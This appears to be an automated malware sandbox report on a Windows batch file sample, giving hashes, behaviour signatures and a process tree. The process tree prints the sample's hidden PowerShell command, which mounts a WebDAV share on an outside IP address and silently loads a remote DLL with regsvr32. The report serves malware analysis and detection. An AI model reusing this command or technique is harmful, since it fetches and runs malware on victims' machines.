Analysis
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max time kernel
100s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 09:05
Static task
static1
Behavioral task
behavioral1
Sample
2855560591299523231.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
2855560591299523231.bat
Resource
win10v2004-20240709-en
General
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Target
2855560591299523231.bat
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Size
17KB
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MD5
c4695cbca9460ae0dd69845b5fcebe1f
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SHA1
f83a08c80ad60cd3a2176ff2246566143c2021e4
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SHA256
0298633516fcdc019f486a8fed14190d58ac7545d3e88a5218e554b2612f2783
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SHA512
458bd7572757e31189a471faca2182b276459185d2c1d015a3f49fa13e5aaa2f54c433219533ffa8cefd74a4a49a55063b9e4c5c02f65376dd6ec39137eab808
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SSDEEP
384:gaeh1lguC7OT3Jd3rqss4RQc1tryp74sxK7XPqTapz7MFEzNn:grLlQE7qss42c1trypUsxKbDL
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4084 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4084 powershell.exe 4084 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4084 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 3436 wordpad.exe 3436 wordpad.exe 3436 wordpad.exe 3436 wordpad.exe 3436 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1788 wrote to memory of 3436 1788 cmd.exe 85 PID 1788 wrote to memory of 3436 1788 cmd.exe 85 PID 1788 wrote to memory of 4084 1788 cmd.exe 87 PID 1788 wrote to memory of 4084 1788 cmd.exe 87 PID 4084 wrote to memory of 1912 4084 powershell.exe 89 PID 4084 wrote to memory of 1912 4084 powershell.exe 89 PID 4084 wrote to memory of 2012 4084 powershell.exe 90 PID 4084 wrote to memory of 2012 4084 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2855560591299523231.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:3436
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28792574431684.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:1912
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\28792574431684.dll3⤵PID:2012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:2040
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82